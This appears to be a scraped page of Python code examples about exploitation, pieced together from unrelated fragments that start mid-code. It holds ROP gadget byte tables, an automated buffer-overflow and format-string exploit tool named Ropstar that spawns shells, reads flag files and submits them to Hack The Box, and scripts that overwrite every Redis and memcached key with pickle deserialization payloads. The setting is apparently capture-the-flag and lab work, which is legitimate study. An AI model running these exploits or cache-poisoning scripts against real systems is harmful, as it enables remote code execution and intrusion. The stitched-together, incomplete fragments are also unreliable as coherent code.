                        " 41 ff 14 dc") # call   QWORD PTR [r12+rbx*8]

        self.add_gadget("EM_X86_64", "deref_write_with_offset", None,
                        " 58"          + # pop    rax \
                        " 5b"          + # pop    rbx \
                        " 59"          + # pop    rcx \
                        " 48 8b 00"    + # mov    rax,QWORD PTR [rax] \
                        " 48 89 1c 08" + # mov    QWORD PTR [rax+rcx*1],rbx \
                        " c3")           # ret

        self.add_gadget("EM_X86_64", "deref_with_offset_and_save", None,
                        " 58"          + # pop    rax \
                        " 5b"          + # pop    rbx \
                        " 59"          + # pop    rcx \
                        " 48 8b 00"    + # mov    rax,QWORD PTR [rax] \
                        " 48 8b 04 18" + # mov    rax,QWORD PTR [rax+rbx*1] \
                        " 48 89 01"    + # mov    QWORD PTR [rcx],rax \
                        " c3")           # ret

        self.add_gadget("EM_X86_64", "copy_to_stack", None,
                        " 5b"          + # pop    rbx \
                        " 59"          + # pop    rcx \
                        " 48 8b 1b"    + # mov    rbx,QWORD PTR [rbx] \
                        " 48 89 1c 0c" + # mov    QWORD PTR [rsp+rcx*1],rbx \
                        " c3")           # ret

        self.add_gadget("EM_X86_64", "prepare_memcpy", None,
                        " 5e"       + # pop    rsi \
                        " 48 01 e6" + # add    rsi,rsp \
                        " c3")        # ret

        self.add_gadget("EM_X86_64", "custom_cleanup", None,
                        " 58"       + # pop    rax \
                        " 48 01 c4" + # add    rsp,rax \
                        " c3")        # ret

        self.add_gadget("EM_X86_64", "prepare_easy", None,
                        " 5f"       + # pop    rdi \
                        " 5e"       + # pop    rsi \
                        " 5a"       + # pop    rdx \
                        " c3")        # ret

        # Assume LE

        self.add_gadget("EM_ARM", "writemem", 4,
                        " 00 10 80 e5" + # str r1, [r0] \
                        " 1e ff 2f e1")  # bx lr

        # Better not use this due to a bug in QEMU

        #self.add_gadget("EM_ARM", "prepare_regs", None,
        #                " f8 85 bd e8")  # pop {r3, r4, r5, r6, r7, r8, sl, pc}

        self.add_gadget("EM_ARM", "prepare_regs", None,
                        " f8 85 bd 08")  # popeq {r3, r4, r5, r6, r7, r8, sl, pc}

        self.add_gadget("EM_ARM", "setup_args", None,
                        " 07 00 a0 e1" + # mov r0, r7 \
                        " 08 10 a0 e1" + # mov r1, r8 \
                        " 0a 20 a0 e1" + # mov r2, sl \
                        " 01 40 84 e2" + # add r4, r4, #1 \
                        " 33 ff 2f e1" + # blx r3 \
                        " 06 00 54 e1" + # cmp r4, r6 \
                        " f7 ff ff 1a" + # bne 8604 <__libc_csu_init+0x38> \
                        " f8 85 bd e8")  # pop {r3, r4, r5, r6, r7, r8, sl, pc}

        self.add_gadget("EM_ARM", "just_ret", None,
                        " 1e ff 2f e1")  # bx      lr
#!/usr/bin/env python2.7
import redis
import pickle

from exploit import Exploit

r = redis.Redis(host='redis')

for key in r.scan_iter():
    print key
    r.set(key, pickle.dumps(Exploit(['echo', 'injected'])))
Example #12
0
class Ropstar():
    def __init__(self, argv):
        parser = argparse.ArgumentParser(description='Pwn things, fast.')
        parser.add_argument('bin', help='target binary (local)')
        parser.add_argument('-rhost', help='target host')
        parser.add_argument('-rport',
                            help='target port (required if -rhost is set)')
        parser.add_argument(
            '-cid',
            help='challenge id for hackthebox challenges (to auto submit flags)'
        )
        parser.add_argument(
            '-o', help='specify offset manually, skips dynamic resolution')
        parser.add_argument('-p',
                            help='use proxy, e.g. https://127.0.0.1:8080')
        parser.add_argument(
            '-m',
            help='specify address of main method, in case there is no symbols')
        parser.add_argument('-xor', help='xor payload with given byte')
        parser.add_argument('-win',
                            help='specify win function address to call')
        parser.add_argument(
            '-magic',
            help='magic string that needs to be send before the payload')
        self.args = parser.parse_args()
        self.username = os.getlogin()
        if self.args.cid:
            with open('/home/' + self.username + '/.htb_apikey', 'r') as f:
                self.api_key = f.read()
                log.success("Read api_key: " + self.api_key[:6] + "...")
        # set context
        context.endian = "little"
        context.os = "linux"
        context.log_level = "debug"
        context.timeout = 10
        self.t = Timeout()
        self.bname = self.args.bin
        self.binary = ELF("./" + self.bname)
        self.arch = self.binary.get_machine_arch()
        log.info("Arch: " + self.arch)
        if self.arch == 'i386':
            context.bits = 32
            context.arch = self.arch
            context.kernel = self.arch
            self.pattern_reg = "eip"
        else:
            context.bits = 64
            context.arch = self.arch
            context.kernel = self.arch
            self.pattern_reg = "rsp"
        self.offset = -1
        self.leak = Leak(self)
        self.exploit = Exploit(self)
        # identity + rot13 for now
        self.encodings = [lambda x: x, lambda x: rot13(x)]
        if self.args.xor:
            self.encodings.append(lambda x: xor(x, self.args.xor))
        # some config options
        self.pattern_length = 2000

    def connect(self):
        ''' Connects to remote or local binary
		'''
        p = None
        if self.args.rhost and self.args.rport:
            log.info("Using remote target " + self.args.rhost + ":" +
                     self.args.rport)
            p = remote(self.args.rhost, self.args.rport)
        else:
            log.info("Using local target")
            # env={'LD_PRELOAD': os.path.join(os.getcwd(), 'libc.so.6')}
            p = process("./" + self.bname)
        return p

    def trigger(self, p, payload):
        ''' function that puts payload into vulnerable buffer
		'''
        result = ''
        if self.args.magic:
            p.sendline(self.args.magic)
        p.sendline(payload)
        # the amount of lines that need to be read
        # before getting the result depends on the binary so we
        # read a lot
        try:
            result = p.recvlines(numlines=100, timeout=1)
        except EOFError:
            pass
        return result

    def trigger_fmt(self, payload):
        ''' alternative to trigger for fmt string exploits (connects on its own)
		'''
        p = self.connect()
        result = ''
        if self.args.magic:
            p.sendline(self.args.magic)
        p.sendline(payload)
        try:
            result = p.recvall()
            pattern = "(START0[xX][0-9a-fA-F]{4,8}END)"
            m = re.search(pattern, result)
            if m:
                result = m.groups(1)[0]
                log.info('FmtStr leak: ' + result.strip("START").strip("END"))
        except EOFError:
            pass
        p.close()
        return result

    def submit_challenge_flag(self, flag):
        ''' Submit flag to htb
		'''
        url = 'https://www.hackthebox.eu/api/challenges/own/?api_token=' + self.api_key
        data = {'challenge_id': self.args.cid, 'flag': flag, "difficulty": 1}
        data_str = "&".join("%s=%s" % (k, v) for k, v in data.items())
        headers = {
            'User-Agent':
            'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
        }
        if not self.args.p:
            r = requests.post(url,
                              data=data_str,
                              headers=headers,
                              verify=False)
        else:
            r = requests.post(url,
                              data=data_str,
                              headers=headers,
                              verify=False,
                              proxies={'https': self.args.p})
        log.info("Result: " + str(r.status_code))

    def get_dynamic(self):
        ''' get offset with unique pattern
		'''
        for enc in self.encodings:
            p = process("./" + self.bname)
            pattern = cyclic(self.pattern_length)
            pattern = enc(pattern)
            if self.args.magic:
                p.sendline(self.args.magic)
            p.sendline(pattern)
            p.wait()
            p.close()
            core = Coredump('./core')
            log.info("Fault: " + hex(core.fault_addr))
            addr = core.fault_addr & 0x000000ffffffff  # have to make it 32 bit or cyclic crashes
            self.offset = cyclic_find(addr)
            # offset can not be higher than the pattern length
            if self.offset > self.pattern_length:
                continue
            if self.offset != -1:
                log.success("Offset: " + str(self.offset))
                return True
        log.failure("Can not get offset")
        return False

    def check_success(self, p):
        ''' Check if we can execute shell commands and submit the flag when doing htb challenges
		'''
        try:
            p.sendline("id")
            out = p.recvline()
            log.success(out)
            if len(out) > 0:
                p.sendline("cat flag.txt")
                flag = p.recvline()
                if self.args.cid and len(flag) > 0 and flag.find(
                        'No such file or directory') == -1:
                    self.submit_challenge_flag(flag.strip("\n"))
                    log.success("Submitted flag: " + flag)
                    #log.success("Submitted flag: <censored>")
                else:
                    log.info("Not submitted")
                log.info('Time spent: ' +
                         str(round((time.time() - self.start_time), 2)) + 's')
                p.interactive()
                return True
        except EOFError:
            log.failure("Failed")
            pass
        return False

    def main(self):
        self.start_time = time.time()
        # offset can also be given on command line
        if not self.args.o:
            # resolve offset dynamically
            log.info("Getting offset")
            result = self.get_dynamic()
            if not result:
                # no offset found via simple overflow, maybe fmt string?
                offset = -1
                try:
                    autofmt = FmtStr(self.trigger_fmt)
                    if autofmt.offset == -1:
                        log.failure("Could not find format string vuln")
                        return
                    p = self.connect()
                    self.exploit.fmt(p, autofmt)
                    p.close()
                    return
                except IndexError:
                    log.failure("Could not find format string vuln")
                    return
        else:
            self.offset = int(self.args.o)
            log.info("Offset: " + str(self.offset))

        # leakless works for static & non-static binaries
        log.info("Checking for leakless exploitation")
        p = self.connect()
        if self.exploit.bss(p):
            p.close()
            return
        # static compiled binaries get their gadgets from their elf
        if not self.binary.libc:
            if self.exploit.static(p):
                p.close()
                return
        p.close()

        # dynamic complied binary, try leaking libc & exploiting via libc
        log.info("Getting Leak")
        p = self.connect()
        leak = self.leak.get_leak(p)
        p.close()
        if len(leak) > 0:
            log.info("Getting libc version")
            versions = self.leak.get_libc(leak)
            exploits = [
                self.exploit.bss, self.exploit.bss_execve, self.exploit.default
            ]
            for version in versions:
                for exploit in exploits:
                    p = self.connect()
                    leak = self.leak.get_leak(p)
                    if len(leak) == 0:
                        continue
                    log.info("Using " + version)
                    try:
                        libc = ELF(version)  # take first hit for now
                    except IOError:
                        log.failure("Could not load " + version + "(skipping)")
                        continue
                    name, addr = leak.items()[0]
                    libc_base = addr - libc.symbols[name]
                    log.success("Libc base: {0}".format(hex(libc_base)))
                    # exploit
                    log.info("Running exploits")
                    try:
                        if exploit(p, libc, libc_base):
                            log.success("Done!")
                            return
                    except EOFError:
                        pass
                p.close()
        else:
            log.failure("Could not leak anything")
Example #13
0
HOST = '127.0.0.1'
PORT = int(sys.argv[1])

FLAG = 'xxxflagxxx'

print 'Setflag..'
sf = SetFlag()
sf.execute(HOST, PORT, FLAG)
res = sf.result()
print 'Result: %s' % str(res)
flag_id = res['FLAG_ID']
cookie = res['TOKEN']

print 'Exploit..'
e = Exploit()
e.execute(HOST, PORT, flag_id)
res = e.result()
print 'Result: %s' % str(res)
assert res['FLAG'] == FLAG

print 'Getflag..'
cf = GetFlag()
cf.execute(HOST, PORT, flag_id, cookie)
res = cf.result()
print 'Result: %s' % str(res)
assert res['FLAG'] == FLAG

print 'Benign..'
b = Benign()
b.execute(HOST, PORT)
HOST = 'memcached'
PORT = 11211

# Find keys
s = socket.socket()
s.connect((HOST, PORT))

s.sendall(b'stats items\r\n')
lines = s.recv(4096).split(b'\r\n')
slabs = {
    re.match(br'STAT items:(\d+):.*', line).group(1)
    for line in lines[:-2]
}

keys = []
for slab in slabs:
    s.sendall(b'stats cachedump %s 0\r\n' % (slab))
    lines = s.recv(4096).split(b'\r\n')[:-2]
    for line in lines:
        keys.append(re.match(br'ITEM (\S+) \[\d+ b; \d+ s\]', line).group(1))

s.close()

mc = pylibmc.Client(['{}:{}'.format(HOST, PORT)])

# Replace values
for key in keys:
    print key
    mc[key] = Exploit(['echo', 'injected'])
Example #15
0
 def __init__(self):
     Exploit.__init__(self)
     self.empty_exploit = lambda: []